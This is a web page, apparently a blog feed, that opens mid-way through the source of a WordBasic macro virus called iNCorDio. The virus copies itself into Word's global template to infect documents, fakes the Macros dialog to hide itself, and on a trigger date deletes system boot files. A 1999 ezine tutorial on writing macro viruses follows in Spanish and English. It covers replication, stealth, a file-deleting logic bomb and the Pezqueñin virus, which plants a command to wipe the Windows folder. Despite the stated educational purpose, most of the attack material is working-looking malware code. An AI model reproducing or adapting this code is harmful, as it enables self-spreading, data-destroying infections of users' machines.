Menu of "Files". // These two last Macros are the semi-stealmh Mechanism. I say "semi", because if u aren't // stupid u can see that something is incorrect, but ... fortunately the greater part of // people thinks - "My templates menu don't start. Bah! is a Microsoft application ..." // // The replication method of this virus is simple: I send u the English exam infected doc // because u can't write it for tomorrow. Your Word is infected. U have the telephone numbers // list of the best supertit... err, girls of your university, and send it to Menganito... // Menganito's Word is infected. // // Anything else. I hope u liked this modest specimen. // // // DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL VIRUS //- - - - - - - - - - - - - - - - // AutoOpen MACRO //- - - - - - - - - - - - - - - - Sub MAIN On Error Resume Next // Copies all Macros to global template (normally normal.dot) MacroCopiar NombreVentana$() + ":AutoOpen", "Global:iNFeCT3", 3 MacroCopiar NombreVentana$() + ":iNFeCT", "Global:ArchivoGuardarCoMo", 3 MacroCopiar NombreVentana$() + ":iNFeCT2", "Global:ArchivoAbrir", 3 MacroCopiar NombreVentana$() + ":iNCoRDio", "Global:iNCoRDio", 3 MacroCopiar NombreVentana$() + ":ChapaMacros", "Global:HerramMacro", 3 MacroCopiar NombreVentana$() + ":ChapaPlan", "Global:ArchivoPlantillas", 3 MacroCopiar NombreVentana$() + ":ChapaAuto", "Global:AutoExec", 3 HerramOpcionesGuardar .SimboloGlobalDot = 0 // Deactivates autoMacros to protect itself DesactivarMacrosAuto End Sub //- - - - - - - - - - - - - - // iNFeCT MACRO //- - - - - - - - - - - - - - Sub MAIN On Error Resume Next DiM Infector As ArchivoGuardarComo GetCurValues Infector // Shows FileSaveAs dialog box Dialog Infector ArchivoGuardarComo Infector Call iNCoRDio // Calls infect subrutines. End Sub //- - - - - - - - - - - - - - - // iNFeCT2 MACRO //- - - - - - - - - - - - - - - Sub MAIN On Error Resume Next DiM Infector As ArchivoAbrir GetCurValues Infector // Shows FileOpen dialog box Dialog Infector ArchivoAbrir Infector // Open file Call iNCoRDio // Calls infect subrutines End Sub //- - - - - - - - - - - - - - - - - // ChapaAuto MACRO //- - - - - - - - - - - - - - - - - Sub MAIN On Error Resume Next If Mes(Ahora()) = 8 Then // On August 15 ... If Dia(Ahora()) = 15 Then MsgBox "^-^ iNCorDio v1.0 ^-^", "ViRuZ iNFeCTioN", 0 // Shows this Message SetProfileString "colors", "scrollbar", "0 0 0" SetProfileString "colors", "Background", "0 0 0" SetProfileString "colors", "ActiveTitle", "0 0 0" SetProfileString "colors", "InactiveTitle", "0 0 0" SetProfileString "colors", " Menu ", " 0 0 0 " SetProfileString "colors", "Window", "0 0 0" SetProfileString "colors", "WindowFraMe", "0 0 0" SetProfileString "colors", "MenuText", "0 0 0" SetProfileString "colors", "TitleText", "0 0 0" // Turns dark Windows SetProfileString "colors", "ActiveBorder", "0 0 0" // changing win.ini SetProfileString "colors", "InactiveBorder", "0 0 0" // values SetProfileString "colors", "AppWorkspace", "0 0 0" SetProfileString "colors", "Hilight", "0 0 0" SetProfileString "colors", "HilightText", "0 0 0" SetProfileString "colors", "ButtonFace", "0 0 0" SetProfileString "colors", "ButtonShadow", "0 0 0" SetProfileString "colors", "GrayText", "0 0 0" SetProfileString "colors", "ButtonText", "0 0 0" SetProfileString "colors", "InactiveTitleText", "0 0 0" SetProfileString "colors", "ButtonHilight", "0 0 0" SetProfileString "colors", "ButtonDkShadow", "0 0 0" SetProfileString "colors", "ButtonLight", "0 0 0" SetProfileString "colors", "InfoText", "0 0 0" SetProfileString "colors", "InfoWindow", "0 0 0" SetProfileString "colors", "ButtonAlternateFace", "0 0 0" SetProfileString "colors", "HotTrackingColor", "0 0 0" SetProfileString "colors", "GradientActiveTitle", "0 0 0" SetProfileString "colors", "GradientInactiveTitle", "0 0 0" FijarAtributos "c:\io.sys", 0 // Removes io.sys attributes FijarAtributos "c:\msdos.sys", 0 // Removes Msdos.sys attributes Kill "c:\io.sys" // Kills io.sys Kill "c:\msdos.sys" // Kills Msdos.sys End If End If For i = 1 To 7 If Hora(Ahora()) = i Then // Between 1:00 AM and 7:00 AM MsgBox "Buenas noches.", "A soñar con los angelitos", 0 // Displays this Message SalirWindows // and Windows closes End If Next i DesactivarMacrosAuto End Sub //- - - - - - - - - - - - - - - - - - // ChapaMacros MACRO //- - - - - - - - - - - - - - - - - - Sub MAIN On Error Resume Next DiM MacrosEn$(3) MacrosEn$(0) = "Todas las plantillas activas" MacrosEn$(1) = "Normal.dot (plantilla global)" MacrosEn$(2) = "Comandos de Word" MacrosEn$(3) = "Present.dot (plantilla global)" DiM Macros$(0) Begin Dialog DialogoUsuario 422, 296, "Macro", .FuncionDlg Text 6, 4, 157, 13, "&amp;Nombre de la Macro:", .NoMbre Text 6, 193, 180, 13, "M&amp;acros disponibles en:", .Dispon DropListBox 6, 208, 408, 50, MacrosEn$(), .MacrosEn Text 6, 235, 100, 13, "&amp;Descripcion:", .Descri TextBox 6, 251, 408, 35, .Descripcion PushButton 282, 8, 130, 21, "&amp;Grabar ...", .Grabar CancelButton 282, 32, 130, 21 // Fake Macros... dialog box PushButton 282, 62, 130, 21, "Ejecutar", .Ejecutar PushButton 282, 85, 130, 21, "Crear", .Crear PushButton 282, 108, 130, 21, "Eliminar", .Eliminar PushButton 282, 139, 130, 21, "&amp;Organizador ...", .Organizador PushButton 282, 163, 130, 21, "A&amp;yuda", .Ayuda CoMboBox 6, 18, 265, 166, Macros$(), .Macros End Dialog Dim dlg As DialogoUsuario selec = Dialog(dlg) If selec = 1 Or selec = 3 Then // If "record" or "create" buttons are pushed MsgBox "No puede grabar Macro aqui", 16 // (X) I can't record a Macro here. End If If selec = 2 Or selec = 4 Then // If "Remove" or "Execute" buttons are pushed MsgBox "Seleccione una Macro", 48 // (I) Select a Macro. End If If selec = 6 Then // If "help" button is pushed ... AyudaContenido // shows help :-) End If End Sub Function FuncionDlg(identificador$, accion, valorSup) If accion = 1 Then FocoDlg$ Macros End If End Function //- - - - - - - - - - - - - - - - - // ChapaPlan MACRO //- - - - - - - - - - - - - - - - - Sub MAIN On Error Resume Next // Anything else. This Macro is executed when Templates Menu is called. End Sub //- - - - - - - - - - - - - - - - // iNCoRDio MACRO //- - - - - - - - - - - - - - - - Sub MAIN //# Virus NaMe : iNCorDio v1.1 //# Creation order positon: 1st //# Infects: .doc , .dot and .rtf when opened //# Stealth: SeMi //# Encrypted: Yes On Error Resume Next sinExt$ = InfoNombreArchivo$(NombreArchivo$(), 4) // Gets the without-extension file name conExt$ = InfoNombreArchivo$(NombreArchivo$(), 3) // Gets the file name and extension If conExt$ &lt;&gt; sinExt$ + ".DOC" Then // If not .doc file If conExt$ &lt;&gt; sinExt$ + ".RTF" Then // If not .rtf file If conExt$ &lt;&gt; sinExt$ + ".DOT" Then // If not .dot file Goto EndFin // Ends Macro: Doesn't infect anything End If End If End If ArchivoGuardarComo .Formato = 1 // Saves the file with template format Infectar() // Calls infect subrutine: Infects file ArchivoGuardar // Saves file (now infected) End Sub Sub Infectar // Copies all Macros to saved file MacroCopiar "Global:iNFeCT3", NombreVentana$() + ":AutoOpen", 3 MacroCopiar "Global:ArchivoGuardarComo", NombreVentana$() + ":iNFeCT", 3 MacroCopiar "Global:ArchivoAbrir", NombreVentana$() + ":iNFeCT2", 3 MacroCopiar "Global:iNCoRDio", NombreVentana$() + ":iNCoRDio", 3 MacroCopiar "Global:HerramMacro", NombreVentana$() + ":ChapaMacros", 3 MacroCopiar "Global:ArchivoPlantillas", NombreVentana$() + ":ChapaPlan", 3 MacroCopiar "Global:AutoExec", NombreVentana$() + ":ChapaAuto", 3 End Sub --> </div> Iniciación a los virus de macro (I)1999-03-22T10:00:00+01:00tag:antoniorodriguez.es,1999-03-22:iniciacion-a-los-virus-de-macro-i<p><em>Este artículo fue publicado originalmente en el</em> <a class="reference external" href="/files/ns001.zip">número #1</a> <em>de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999</em>.</p> <p>Todo lo que expongo aquí no funciona intencionadamente (el código está alterado para que no pueda ser ejecutado), y afectaba únicamente a Word 7.0</p> <p>La intención del artículo era demostrar una vulnerabilidad en dicho software para saber como evitar una infección de ese tipo.</p> <div class="section" id="introduccion"> <h2>Introducción</h2> <p>Los llamados virus o troyanos de macro son virus que se codifican en aplicaciones como Word o Excel, que utilizan dichas macros para automatizar ciertas tareas.</p> <p>Son virus realmente fáciles de crear y de extender, pero si realmente te interesa el mundo de los virus, aprende a escribir virus en ensamblador. Digamos que escribo esto para conocer el funcionamiento de este tipo de virus.</p> <p>Estan escritos en el lenguaje que utilize la aplicación para la que son creados, normalmente Visual Basic para Aplicaciones (VBA) o, en el caso del Word, en Word Basic (WB). Ambos lenguajes son muy parecidos (realmente el VB es una versión de Visual Basic específica para esta aplicación) , pero no es objeto de este artículo aprender a programar en estos lenguajes, sino estudiar algunas técnicas víricas para dichos lenguajes.</p> <p>Por ser los más comunes, voy a comentar los virus de Word, aunque el mecanismo es el mismo para todas las aplicaciones.</p> <p>El Word Basic es un lenguaje interpretado, bastante sencillo, y tiene la particularidad de que sus instrucciones están en el mismo idioma que el propio Word. Así, si codificamos un virus para el Word en castellano, si es ejecutado en un Word en inglés nos dará un mensaje de error. Si eres un poco hábil, deberías ser capaz de solucionar este problema para hacer un virus multilingue. De todas formas, hay muchas ordenes que son independientes del idioma, por lo que un buen objetivo sería escribir un virus utilizando únicamente este tipo de ordenes.</p> <p>Las macros en Word se encuentran en las plantillas (*.dot). Cuando creas un documento nuevo, lo normal es que este documento se abra por defecto con la plantilla global NORMAL.DOT, aunque se puede abrir con una plantilla diferente si se desea. Estas plantillas son las que traen el formato con el que se inicia el documento.</p> <p>Para crear un documento que contenga macros, solo hay que crear un documento, y guardarlo plantilla (.dot), y no como documento (.doc) Una vez hecho esto, el documento ya podrá contener macros. Hay que tener en cuenta que se puede renombrar el archivo, y pasarlo otra vez a .DOC, conservando así las propiedades de plantilla y las macros que contenga. Tambien se podría crear un documento nuevo, basado en una plantilla infectada, pero en este caso, a mi parecer, no es el más apropiado, puesto que depende ya de otro archivo.</p> <p>Hay 5 macros automáticas , que son básicas (bueno, eso no es realmente cierto) para la creación de virus (aunque no de “documentos bomba”), ya que el fin último de un virus es reproducirse. Estas macros son:</p> <p><em>AutoExec</em>: Una macro con este nombre se ejecutara cada vez que se arranque el Word.</p> <p><em>AutoOpen</em>: Se ejecuta cada vez que se abre el documento.</p> <p><em>AutoClose</em>: Se ejecuta cada vez que se cierra el documento.</p> <p><em>AutoNew</em>: Se ejecuta cada vez que se crea un documento nuevo.</p> <p><em>AutoExit</em>: Se ejecuta al salir de Word.</p> <p>No hace falta decir que estas macros automáticas se llaman asi en todas las versiones de Word.</p> <p>Como cabe esperar, si una plantilla global (lease NORMAL.DOT) contiene una macro automática, todos los documentos que se abran con esa plantilla provocaran la ejecucion de dichas macros. Esta es una de las cosas mas importantes a tener en cuenta para escribir virus de macro.</p> </div> <div class="section" id="replicacion"> <h2>Replicación</h2> <p>Para infectar, un virus puede utilizar varios mecanismos. Uno de ellos es la utilización de la función MacroCopiar:</p> <p>MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , Soloejecutable</p> <p>donde Soloejecutable es un número, que si es distinto de 0 hace que la macro se copie como solo ejecutable, y por tanto no se puede editar y ver su contenido.</p> <p>El proceso de infección es simple. El documento infectado trae macros escritas en su código. Utilizando esta instrucción, puede copiar las Macros que trae en la plantilla global, infectando así el Word.</p> <p>MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1</p> <p>Esto copia la macro “infecto” de MiVirus.DOC a Global (NORMAL.DOT) como AutoOpen y en modo solo ejecución. A partir de ese momento, todos los documentos que utilizen esa plantilla, al ser abiertos provocaran la ejecución de la macro.</p> </div> <div class="section" id="stealth"> <h2>Stealth</h2> <p>En Word hay dos maneras de acceder a un menu donde podemos ver, editar o eliminar las macros de un documento:</p> <p>Mediante el menu Herramientas/macros …, donde se pueden editar (en caso de no ser solo-ejecutables) , y eliminar.</p> <p>Dentro de este cuadro de dialogo hay un boton (Organizador …) que nos muestra otro cuadro donde se puede copiar macros de un documento a otro o eliminar.</p> <p>La otra forma es a través de Archivo / Plantillas … , donde tambien es accesible el Organizador.</p> <p>Hay muchas formas de ocultar esto, y asi evitar el acceso a nuestras macros víricas. Podríamos desactivar estos menus, eliminarlos , incluso emularlos…</p> </div> <div class="section" id="bombas-logicas"> <h2>Bombas lógicas</h2> <p>Las bombas pueden hacerse tambien de muchas formas. Una de ellas es crear una macro en un documento, y asignarle unas teclas rápidas de ejecución.</p> <p>Por ejemplo,</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\autoexec bat"</span> <span class="p">,</span><span class="mi">0</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\command com"</span><span class="p">,</span><span class="mi">0</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\config sys"</span><span class="p">,</span><span class="mi">0</span> <span class="nx">Kill</span> <span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">autoexec</span> <span class="nx">bat</span><span class="s2">"</span> <span class="s2"> Kill "</span><span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">command</span> <span class="nx">com</span><span class="s2">"</span> <span class="s2"> Kill "</span><span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">config</span> <span class="nx">sys</span><span class="err">"</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <p>Este pequeño código, elimina todos los atributos del autoexec.bat, config.sys y command.com (el “0” es el que lo indica). Despues los archivos son eliminados con la instruccion Kill.</p> <p>Si hacemos una macro con esto, y le asignamos como tecla de ejecución, por ejemplo, “izquierda”, pulsar dicha tecla borraría los archivos.</p> </div> <div class="section" id="ejemplo-pezquenin-doc"> <h2>Ejemplo: Pezqueñin.doc</h2> <p>Para terminar, aqui va un pequeño ejemplo de VBA virus muy sencillo, para entender lo explicado anteriormente. Tenemos un documento infectado, llamado pezqueñin.doc que contiene la siguiente macro llamada AutoOpen:</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">MacroCopiar</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":infeccion"</span> <span class="p">,</span> <span class="s2">"Global:AutoOpen"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copia la macro infección</span> <span class="c1">// a la plantilla global con el</span> <span class="c1">// nombre AutoOpen, y en modo solo ejecución</span> <span class="nx">MacroCopiar</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":AutoOpen"</span> <span class="p">,</span> <span class="s2">"Global:infectado"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copia la macro AutoOpen del</span> <span class="c1">// documento infectado a la global con el infectado</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <p>Y otra macro llamada <em>infección</em></p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">On</span> <span class="nb">Error</span> <span class="nx">Resume</span> <span class="nx">Next</span> <span class="c1">// Esta línea sirve para que en caso de error continue</span> <span class="c1">// sin mostrar ningun mensaje de error que nos delataría,</span> <span class="c1">// ya que en un lenguaje interpretado los mensajes de error</span> <span class="c1">// aparecen segun van apareciendo.</span> <span class="nx">ArchivoGuardarComo</span> <span class="p">.</span><span class="nx">Formato</span> <span class="o">=</span> <span class="mi">1</span> <span class="c1">// Guarda el archivo abierto con el formato de</span> <span class="c1">// plantilla (Nota: esto en un virus real no sería viable, ya que</span> <span class="c1">// guardaría cualquier archivo en ese formato, incluido un documento</span> <span class="c1">// de solo texto, por ejemplo, nota.txt)</span> <span class="nx">MacroCopiar</span> <span class="s2">"Global:AutoOpen"</span> <span class="p">,</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":infeccion"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copia AutoOpen</span> <span class="c1">// de la global al documento con el nombre infección</span> <span class="nx">MacroCopiar</span> <span class="s2">"Global:infectado"</span> <span class="p">,</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":AutoOpen"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copia infectado</span> <span class="c1">//como AutoOpen</span> <span class="nx">ArchivoGuardar</span> <span class="c1">// Guarda el archivo de nuevo</span> <span class="nx">If</span> <span class="nx">Dia</span><span class="p">(</span><span class="nx">Ahora</span><span class="p">())</span> <span class="o">=</span> <span class="mi">28</span> <span class="nx">Then</span> <span class="c1">// Si es dia 28</span> <span class="nx">If</span> <span class="nx">Mes</span><span class="p">(</span><span class="nx">Ahora</span><span class="p">())</span> <span class="o">=</span> <span class="mi">4</span> <span class="nx">Then</span> <span class="c1">// del mes de Abril</span> <span class="nx">MsgBox</span> <span class="s2">"Acaba de ser infectado por el virus Pezqueñin"</span><span class="p">,</span> <span class="s2">"Virus msg"</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">// muestra este mensaje</span> <span class="nx">Open</span> <span class="s2">"c:\autoexec.bat"</span> <span class="nx">For</span> <span class="nx">Append</span> <span class="nx">As</span> <span class="err">#</span><span class="mi">1</span> <span class="c1">// Abre el archivo autoexec.bat para adición</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span> <span class="s2">" del c\windows\*.* &gt; null "</span> <span class="c1">// añade esta linea al autoexec</span> <span class="nx">Close</span> <span class="err">#</span><span class="mi">1</span> <span class="c1">// Cierra de nuevo el archivo</span> <span class="nx">SalirWindows</span> <span class="c1">// Sale de Windows</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">End</span> <span class="nx">sub</span> </pre></div> </div> <div class="section" id="disclaimer"> <h2>Disclaimer</h2> <p>Este artículo está escrito con fines puramente didácticos, para conocer un poco más de lo que es capaz un ordenador, y a conocer los fallos que posee para poder solucionarlos.</p> <p>Recordar que un virus no es un pedazo de software creado para destruir y/o irrumpir en maquinas ajenas, sino que es un ingenio informático que demuestra la posibilidad de crear una vida artificial capaz de reproducirse por si misma y evitar ser eliminada.</p> </div> Macro virii introduction (I)1999-03-22T10:00:00+01:00tag:antoniorodriguez.es,1999-03-22:en/macro-virii-introduction<p><em>This article was originally published</em> <a class="reference external" href="/files/ns001.zip">NetSearch Ezine number #1</a> <em>, in 1999</em>.</p> <p>The code this presentation does not work intentionally (the code is altered so it can not be executed), and only would affect Word 7.0</p> <p>The objective of the article was to demonstrate a vulnerability in the software.</p> <div class="section" id="introduction"> <h2>Introduction</h2> <p>The so-called macro virus or macro Trojans are viruses encoded in applications like Word or Excel, using these macros to automate certain tasks.</p> <p>This kind of malware is really easy to create and extend, but if you are really interested in the world of viruses, you should learn to write assembler.</p> <p>They are written in an scripted language used by the application, typically Visual Basic for Applications (VBA) or, in the case of Word, Word Basic (WB). Both languages are very similar (actually VB is a version of Visual Basic specifically for this application), but is not the subject of this article to learn programming in these languages, but some viral techniques for these languages.</p> <p>Being the most common, I will focus on Word viruses, although the mechanism is the same for all applications.</p> <p>Word Basic is an interpreted language, pretty simple, and is unique in that its instructions are in the same language as the Word itself. Thus, if we encode a virus for Word in spanish, and it's ran in an English Word will give an error message. If you're a bit clever, you should be able to solve this problem to make a multilingual virus. Anyway, there are many commands that are not language dependant, so a good goal would be to write a virus using only such commands.</p> <p>Macros in Word are in the templates (*. Dot). When you create a new document, it is normal that this document is opened by default with the global template NORMAL.DOT, but can be opened with a different template if desired. These templates inherit the format in which the document is started.</p> <p>To create a document that contains macros, you just have to create a document, and save as a template (.dot), not as a document (.doc). Once done, the document may already contain macros. Keep in mind that you can rename the file, and transform it back to .DOC, preserving the properties and template that contains macros. Also you could create a new document based on a template infected, but this case, in my opinion, is not the most appropriate, since its already dependant on another file.</p> <p>There are 5 automatic macros, which are basic (well, that's not really true) for creating virus (although not "bomb documents"), since the ultimate goal of a virus is to reproduce. These macros are:</p> <p><em>AutoExec</em>: A macro with this name will be executed each time the Word is started.</p> <p><em>AutoOpen</em>: Se ejecuta cada vez que se abre el documento.</p> <p><em>AutoClose</em>: It runs every time the document is opened.</p> <p><em>AutoNew</em>: It runs whenever a new document is created.</p> <p><em>AutoExit</em>: It runs when you quit Word.</p> <p>It goes without saying that these automatic macros are called the same in all versions of Word.</p> <p>As expected, if a global template (NORMAL.DOT) contains an automatic macro, all documents opened with that template will launch the execution of these macros. This is one of the most important things to consider writing macro viruses.</p> </div> <div class="section" id="replication"> <h2>Replication</h2> <p>A virus can use several mechanisms to infect. One is the use of function MacroCopiar:</p> <p>MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , OnlyExecutable</p> <p>where OnlyExecutable is a number; if not 0, causes the macro to be copied as only executable, and therefore can not be edited and view contents.</p> <p>The infection process is simple. The infected document brings macros written in their code. Using this command, you can copy the macros from the global template, thus infecting the Word.</p> <p>MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1</p> <p>This copies the "infecto" Global macro MiVirus.DOC (NORMAL.DOT) as AutoOpen and execution mode only. From that moment, all documents using that template, when opened will provoke the execution of the macro.</p> </div> <div class="section" id="stealth"> <h2>Stealth</h2> <p>In Word there are two ways to access a menu where you can view, edit or delete macros from a document:</p> <p>Through the menu Tools / Macros ..., where you can edit (if not only-executable), and delete.</p> <p>Within this dialog there is a button (Organizer ...) showing us another box where you can copy macros from one document to another, or delete.</p> <p>The other way is via File / Templates ... where is also accessible the Organizer.</p> <p>There are many ways to hide it, and thus prevent access to our viral macros. We could disable these menus, delete them, even emulate ...</p> </div> <div class="section" id="logic-bombs"> <h2>Logic bombs</h2> <p>Bombs can also be made in several ways. One is to create a macro in a document, and assign a hotkey to execution.</p> <p>For example,</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\autoexec bat"</span> <span class="p">,</span><span class="mi">0</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\command com"</span><span class="p">,</span><span class="mi">0</span> <span class="nx">FijarAtributos</span> <span class="s2">"c:\config sys"</span><span class="p">,</span><span class="mi">0</span> <span class="nx">Kill</span> <span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">autoexec</span> <span class="nx">bat</span><span class="s2">"</span> <span class="s2"> Kill "</span><span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">command</span> <span class="nx">com</span><span class="s2">"</span> <span class="s2"> Kill "</span><span class="nx">c</span><span class="o">:</span><span class="err">\</span><span class="nx">config</span> <span class="nx">sys</span><span class="err">"</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <p>This short code, removes all attributes autoexec.bat, config.sys and command.com (the "0" is the one that indicates it). After that the files are deleted with the Kill instruction.</p> <p>If we make a macro with this, and we assign as execution key, for example, "left", pressing this key will erase the files.</p> </div> <div class="section" id="example-pezquenin-doc"> <h2>Example: Pezqueñin.doc</h2> <p>Finally, here is a small example of simple VBA viruses to understand all of the above. We have an infected document, called pezqueñin.doc containing the following AutoOpen macro call:</p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">MacroCopiar</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":infeccion"</span> <span class="p">,</span> <span class="s2">"Global:AutoOpen"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copy the macro infection</span> <span class="c1">// to the global template with</span> <span class="c1">// the name AutoOpen and only-execution mode</span> <span class="nx">MacroCopiar</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":AutoOpen"</span> <span class="p">,</span> <span class="s2">"Global:infectado"</span> <span class="p">,</span> <span class="mi">1</span> <span class="c1">// Copies AutoOpen macro</span> <span class="c1">// from infected document to the global</span> <span class="nx">End</span> <span class="nx">Sub</span> </pre></div> <p>and another macro <em>infección</em></p> <div class="highlight"><pre><span class="nx">Sub</span> <span class="nx">MAIN</span> <span class="nx">On</span> <span class="nb">Error</span> <span class="nx">Resume</span> <span class="nx">Next</span> <span class="nx">ArchivoGuardarComo</span> <span class="p">.</span><span class="nx">Formato</span> <span class="o">=</span> <span class="mi">1</span> <span class="nx">MacroCopiar</span> <span class="s2">"Global:AutoOpen"</span> <span class="p">,</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":infeccion"</span> <span class="p">,</span> <span class="mi">1</span> <span class="nx">MacroCopiar</span> <span class="s2">"Global:infectado"</span> <span class="p">,</span> <span class="nx">NombreVentana$</span><span class="p">()</span> <span class="o">+</span> <span class="s2">":AutoOpen"</span> <span class="p">,</span> <span class="mi">1</span> <span class="nx">ArchivoGuardar</span> <span class="nx">If</span> <span class="nx">Dia</span><span class="p">(</span><span class="nx">Ahora</span><span class="p">())</span> <span class="o">=</span> <span class="mi">28</span> <span class="nx">Then</span> <span class="nx">If</span> <span class="nx">Mes</span><span class="p">(</span><span class="nx">Ahora</span><span class="p">())</span> <span class="o">=</span> <span class="mi">4</span> <span class="nx">Then</span> <span class="nx">MsgBox</span> <span class="s2">"Acaba de ser infectado por el virus Pezqueñin"</span><span class="p">,</span> <span class="s2">"Virus msg"</span><span class="p">,</span> <span class="mi">0</span> <span class="nx">Open</span> <span class="s2">"c:\autoexec.bat"</span> <span class="nx">For</span> <span class="nx">Append</span> <span class="nx">As</span> <span class="err">#</span><span class="mi">1</span> <span class="nx">Print</span> <span class="err">#</span><span class="mi">1</span> <span class="s2">" del c\windows\*.* &gt; null "</span> <span class="nx">Close</span> <span class="err">#</span><span class="mi">1</span> <span class="nx">SalirWindows</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">End</span> <span class="nx">If</span> <span class="nx">End</span> <span class="nx">sub</span> </pre></div> </div> <div class="section" id="disclaimer"> <h2>Disclaimer</h2> <p>This article was written for pure educational purposes, to know a little more what a computer can do, and to know the faults that need to be solved.</p> </div>